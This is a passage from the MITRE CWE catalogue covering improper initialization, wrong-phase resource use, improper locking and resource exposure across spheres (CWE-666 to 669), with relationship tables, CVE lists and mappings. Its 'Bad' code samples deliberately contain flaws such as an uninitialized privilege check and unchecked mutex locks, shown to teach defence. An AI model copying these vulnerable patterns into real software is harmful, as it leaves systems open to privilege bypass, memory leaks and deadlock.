
*Example Language: Java*

*(Bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

**Example 2:**

The following code intends to limit certain operations to the administrator only.

*Example Language: Perl*

*(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

### Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C

(Bad)

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

### Observed Examples

Reference	Description
<b>CVE-2001-1471</b>	chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1471">https://www.cve.org/CVERecord?id=CVE-2001-1471</a>
<b>CVE-2008-3637</b>	Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3637">https://www.cve.org/CVERecord?id=CVE-2008-3637</a>
<b>CVE-2008-4197</b>	Use of uninitialized memory may allow code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4197">https://www.cve.org/CVERecord?id=CVE-2008-4197</a>
<b>CVE-2008-2934</b>	Free of an uninitialized pointer leads to crash and possible code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2934">https://www.cve.org/CVERecord?id=CVE-2008-2934</a>
<b>CVE-2007-3749</b>	OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3749">https://www.cve.org/CVERecord?id=CVE-2007-3749</a>
<b>CVE-2008-0063</b>	Product does not clear memory contents when generating an error message, leading to information leak. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0063">https://www.cve.org/CVERecord?id=CVE-2008-0063</a>
<b>CVE-2008-0062</b>	Lack of initialization triggers NULL pointer dereference or double-free. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0062">https://www.cve.org/CVERecord?id=CVE-2008-0062</a>
<b>CVE-2008-0081</b>	Uninitialized variable leads to code execution in popular desktop application. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0081">https://www.cve.org/CVERecord?id=CVE-2008-0081</a>
<b>CVE-2008-3688</b>	chain: Uninitialized variable leads to infinite loop. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3688">https://www.cve.org/CVERecord?id=CVE-2008-3688</a>
<b>CVE-2008-3475</b>	chain: Improper initialization leads to memory corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3475">https://www.cve.org/CVERecord?id=CVE-2008-3475</a>

Reference	Description
<b>CVE-2008-5021</b>	Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5021">https://www.cve.org/CVERecord?id=CVE-2008-5021</a>
<b>CVE-2005-1036</b>	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap <a href="https://www.cve.org/CVERecord?id=CVE-2005-1036">https://www.cve.org/CVERecord?id=CVE-2005-1036</a>
<b>CVE-2008-3597</b>	chain: game server can access player data structures before initialization has happened leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2008-3597">https://www.cve.org/CVERecord?id=CVE-2008-3597</a>
<b>CVE-2009-2692</b>	chain: uninitialized function pointers can be dereferenced allowing code execution <a href="https://www.cve.org/CVERecord?id=CVE-2009-2692">https://www.cve.org/CVERecord?id=CVE-2009-2692</a>
<b>CVE-2009-0949</b>	chain: improper initialization of memory can lead to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-0949">https://www.cve.org/CVERecord?id=CVE-2009-0949</a>
<b>CVE-2009-3620</b>	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-3620">https://www.cve.org/CVERecord?id=CVE-2009-3620</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2137
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2146
MemberOf	C	846	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)	844	2156
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2169
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1135	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)	1133	2237
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incorrect initialization
CERT C Secure Coding	ARR02-C		Explicitly specify array bounds, even if implicitly defined by an initializer
The CERT Oracle Secure Coding Standard for Java (2011)	DCL00-J		Prevent class initialization cycles

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP4		Unchecked Status Condition

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

### References

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip> >.

[REF-437]Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008 March 1. < <http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-666: Operation on Resource in Wrong Phase of Lifetime

**Weakness ID** : 666

**Structure** : Simple

**Abstraction** : Class

### Description

The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

### Extended Description

A resource's lifecycle includes several phases: initialization, use, and release. For each phase, it is important to follow the specifications outlined for how to operate on the resource and to ensure that the resource is in the expected phase. Otherwise, if a resource is in one phase but the operation is not valid for that phase (i.e., an incorrect phase of the resource's lifetime), then this can produce resultant weaknesses. For example, using a resource before it has been fully initialized could cause corruption or incorrect data to be used.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	Ⓟ	415	Double Free	954
ParentOf	Ⓟ	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1252
ParentOf	Ⓟ	605	Multiple Binds to the Same Port	1277
ParentOf	Ⓟ	672	Operation on a Resource after Expiration or Release	1386
ParentOf	Ⓟ	826	Premature Release of Resource During Expected Lifetime	1614

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

Scope	Impact	Likelihood
-------	--------	------------

## Potential Mitigations

### Phase: Architecture and Design

Follow the resource's lifecycle from creation to release.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	2204
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory

## CWE-667: Improper Locking

**Weakness ID** : 667

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

### Extended Description

Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1363
ParentOf	B	412	Unrestricted Externally Accessible Lock	947
ParentOf	B	413	Improper Resource Locking	950

Nature	Type	ID	Name	Page
ParentOf	B	414	Missing Lock Check	953
ParentOf	B	609	Double-Checked Locking	1283
ParentOf	B	764	Multiple Locks of a Critical Resource	1493
ParentOf	B	765	Multiple Unlocks of a Critical Resource	1494
ParentOf	B	832	Unlock of a Resource that is not Locked	1631
ParentOf	B	833	Deadlock	1632
ParentOf	B	1232	Improper Lock Behavior After Power State Transition	1857
ParentOf	B	1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection	1859
ParentOf	B	1234	Hardware Internal or Debug Modes Allow Override of Locks	1861

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1363

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1363

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) <i>Inconsistent locking discipline can lead to deadlock.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Libraries or Frameworks*

Use industry standard APIs to implement locking mechanism.

### Demonstrative Examples

#### Example 1:

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

*Example Language: Java*

*(Bad)*

```
private long someLongValue;
public long getLongValue() {
    return someLongValue;
}
public void setLongValue(long l) {
    someLongValue = l;
}
```

#### Example 2:

This code tries to obtain a lock for a file, then writes to it.



*Example Language: PHP**(Bad)*

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logfile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

**Example 3:**

The following function attempts to acquire a lock in order to perform operations on a shared resource.

*Example Language: C**(Bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread\_mutex\_lock() for errors. If pthread\_mutex\_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

*Example Language: C**(Good)*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

**Example 4:**

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

*Example Language: Java**(Bad)*

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
```

```

    }
  }
}
return helper;

```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

*Example Language:*

*(Bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

### Observed Examples

Reference	Description
<b>CVE-2021-1782</b>	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-1782">https://www.cve.org/CVERecord?id=CVE-2021-1782</a>
<b>CVE-2009-0935</b>	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice <a href="https://www.cve.org/CVERecord?id=CVE-2009-0935">https://www.cve.org/CVERecord?id=CVE-2009-0935</a>
<b>CVE-2010-4210</b>	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. <a href="https://www.cve.org/CVERecord?id=CVE-2010-4210">https://www.cve.org/CVERecord?id=CVE-2010-4210</a>
<b>CVE-2008-4302</b>	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4302">https://www.cve.org/CVERecord?id=CVE-2008-4302</a>
<b>CVE-2009-1243</b>	OS kernel performs an unlock in some incorrect circumstances, leading to panic. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1243">https://www.cve.org/CVERecord?id=CVE-2009-1243</a>
<b>CVE-2009-2857</b>	OS deadlock <a href="https://www.cve.org/CVERecord?id=CVE-2009-2857">https://www.cve.org/CVERecord?id=CVE-2009-2857</a>
<b>CVE-2009-1961</b>	OS deadlock involving 3 separate functions <a href="https://www.cve.org/CVERecord?id=CVE-2009-1961">https://www.cve.org/CVERecord?id=CVE-2009-1961</a>
<b>CVE-2009-2699</b>	deadlock in library <a href="https://www.cve.org/CVERecord?id=CVE-2009-2699">https://www.cve.org/CVERecord?id=CVE-2009-2699</a>
<b>CVE-2009-4272</b>	deadlock triggered by packets that force collisions in a routing table <a href="https://www.cve.org/CVERecord?id=CVE-2009-4272">https://www.cve.org/CVERecord?id=CVE-2009-4272</a>
<b>CVE-2002-1850</b>	read/write deadlock between web server and script <a href="https://www.cve.org/CVERecord?id=CVE-2002-1850">https://www.cve.org/CVERecord?id=CVE-2002-1850</a>
<b>CVE-2004-0174</b>	web server deadlock involving multiple listening connections <a href="https://www.cve.org/CVERecord?id=CVE-2004-0174">https://www.cve.org/CVERecord?id=CVE-2004-0174</a>
<b>CVE-2009-1388</b>	multiple simultaneous calls to the same function trigger deadlock. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1388">https://www.cve.org/CVERecord?id=CVE-2009-1388</a>
<b>CVE-2006-5158</b>	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833). <a href="https://www.cve.org/CVERecord?id=CVE-2006-5158">https://www.cve.org/CVERecord?id=CVE-2006-5158</a>
<b>CVE-2006-4342</b>	deadlock when an operation is performed on a resource while it is being removed.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2006-4342">https://www.cve.org/CVERecord?id=CVE-2006-4342</a>
<b>CVE-2006-2374</b>	Deadlock in device driver triggered by using file handle of a related device. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2374">https://www.cve.org/CVERecord?id=CVE-2006-2374</a>
<b>CVE-2006-2275</b>	Deadlock when large number of small messages cannot be processed quickly enough. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2275">https://www.cve.org/CVERecord?id=CVE-2006-2275</a>
<b>CVE-2005-3847</b>	OS kernel has deadlock triggered by a signal during a core dump. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3847">https://www.cve.org/CVERecord?id=CVE-2005-3847</a>
<b>CVE-2005-3106</b>	Race condition leads to deadlock. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3106">https://www.cve.org/CVERecord?id=CVE-2005-3106</a>
<b>CVE-2005-2456</b>	Chain: array index error (CWE-129) leads to deadlock (CWE-833) <a href="https://www.cve.org/CVERecord?id=CVE-2005-2456">https://www.cve.org/CVERecord?id=CVE-2005-2456</a>
<b>CVE-2001-0682</b>	Program can not execute when attacker obtains a mutex. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0682">https://www.cve.org/CVERecord?id=CVE-2001-0682</a>
<b>CVE-2002-1914</b>	Program can not execute when attacker obtains a lock on a critical output file. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1914">https://www.cve.org/CVERecord?id=CVE-2002-1914</a>
<b>CVE-2002-1915</b>	Program can not execute when attacker obtains a lock on a critical output file. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1915">https://www.cve.org/CVERecord?id=CVE-2002-1915</a>
<b>CVE-2002-0051</b>	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0051">https://www.cve.org/CVERecord?id=CVE-2002-0051</a>
<b>CVE-2000-0338</b>	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0338">https://www.cve.org/CVERecord?id=CVE-2000-0338</a>
<b>CVE-2000-1198</b>	Chain: Lock files with predictable names. Resultant from randomness. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1198">https://www.cve.org/CVERecord?id=CVE-2000-1198</a>
<b>CVE-2002-1869</b>	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1869">https://www.cve.org/CVERecord?id=CVE-2002-1869</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf	<b>C</b>	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2159
MemberOf	<b>C</b>	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2159
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock	888	2205
MemberOf	<b>C</b>	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	<b>C</b>	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2241
MemberOf	<b>C</b>	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	2242
MemberOf	<b>C</b>	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2255

Nature	Type	ID	Name	V	Page
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256

## Notes

### Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	CON31-C	CWE More Abstract	Do not destroy a mutex while it is locked
CERT C Secure Coding	POS48-C	CWE More Abstract	Do not unlock or destroy another POSIX thread's mutex
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	VNA05-J		Ensure atomicity when reading and writing 64-bit values
The CERT Oracle Secure Coding Standard for Java (2011)	LCK06-J		Do not use an instance lock to protect shared static data
Software Fault Patterns	SFP19		Missing Lock
OMG ASCSM	ASCSM-CWE-667		

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links

## References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-668: Exposure of Resource to Wrong Sphere

**Weakness ID** : 668

**Structure** : Simple

**Abstraction** : Class

### Description

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

## Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	6
ParentOf	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf	B	134	Use of Externally-Controlled Format String	349
ParentOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	484
ParentOf	B	374	Passing Mutable Objects to an Untrusted Method	871
ParentOf	B	375	Returning a Mutable Object to an Untrusted Caller	874
ParentOf	C	377	Insecure Temporary File	876
ParentOf	C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	924
ParentOf	B	427	Uncontrolled Search Path Element	977
ParentOf	B	428	Unquoted Search Path or Element	982
ParentOf	B	488	Exposure of Data Element to Wrong Session	1104
ParentOf	V	491	Public cloneable() Method Without Final ('Object Hijack')	1108
ParentOf	V	492	Use of Inner Class Containing Sensitive Data	1110
ParentOf	V	493	Critical Public Variable Without Final Modifier	1117
ParentOf	V	498	Cloneable Class Containing Sensitive Information	1130
ParentOf	V	499	Serializable Class Containing Sensitive Data	1132
ParentOf	C	522	Insufficiently Protected Credentials	1157
ParentOf	B	524	Use of Cache Containing Sensitive Information	1163
ParentOf	B	552	Files or Directories Accessible to External Parties	1193
ParentOf	V	582	Array Declared Public, Final, and Static	1237
ParentOf	V	583	finalize() Method Declared Public	1238
ParentOf	V	608	Struts: Non-private Field in ActionForm Class	1281
ParentOf	C	642	External Control of Critical State Data	1330
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	1445
ParentOf	V	767	Access to Critical Private Variable via Public Method	1498
ParentOf	V	927	Use of Implicit Intent for Sensitive Communication	1706

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)	1829
ParentOf	<b>B</b>	1282	Assumed-Immutable Data is Stored in Writable Memory	1962
ParentOf	<b>B</b>	1327	Binding to an Unrestricted IP Address	2039
ParentOf	<b>B</b>	1331	Improper Isolation of Shared Resources in Network On Chip (NoC)	2048
CanFollow	<b>G</b>	441	Unintended Proxy or Intermediary ('Confused Deputy')	1005
CanFollow	<b>V</b>	942	Permissive Cross-domain Policy with Untrusted Domains	1717

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	134	Use of Externally-Controlled Format String	349
ParentOf	<b>B</b>	426	Untrusted Search Path	972
ParentOf	<b>B</b>	427	Uncontrolled Search Path Element	977
ParentOf	<b>B</b>	428	Unquoted Search Path or Element	982
ParentOf	<b>B</b>	552	Files or Directories Accessible to External Parties	1193

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1011	Authorize Actors	2218

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Other	Other	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>V</b>	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	<b>C</b>	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
MemberOf	<b>C</b>	1364	ICS Communications: Zone Boundary Failures	1358	2294

### Notes

#### Mapping

Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities). Rationale: CWE-668 is high-level and can be used as a catch-all when lower-level CWE IDs might be applicable. It is sometimes used for low-information vulnerability reports [REF-1287]. It is a level-1 Class (i.e., a child of a Pillar). It is not useful for trend analysis. Comments: closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.

#### Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly



implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

## References

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## CWE-669: Incorrect Resource Transfer Between Spheres

**Weakness ID** : 669

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	520
ParentOf	V	243	Creation of chroot Jail Without Changing Working Directory	559
ParentOf	B	434	Unrestricted Upload of File with Dangerous Type	991
ParentOf	B	494	Download of Code Without Integrity Check	1119
ParentOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1621
CanFollow	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	561

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	520
ParentOf	B	434	Unrestricted Upload of File with Dangerous Type	991
ParentOf	B	494	Download of Code Without Integrity Check	1119
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1209
ParentOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1621

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2218



## Background Details

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
	Unexpected State	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

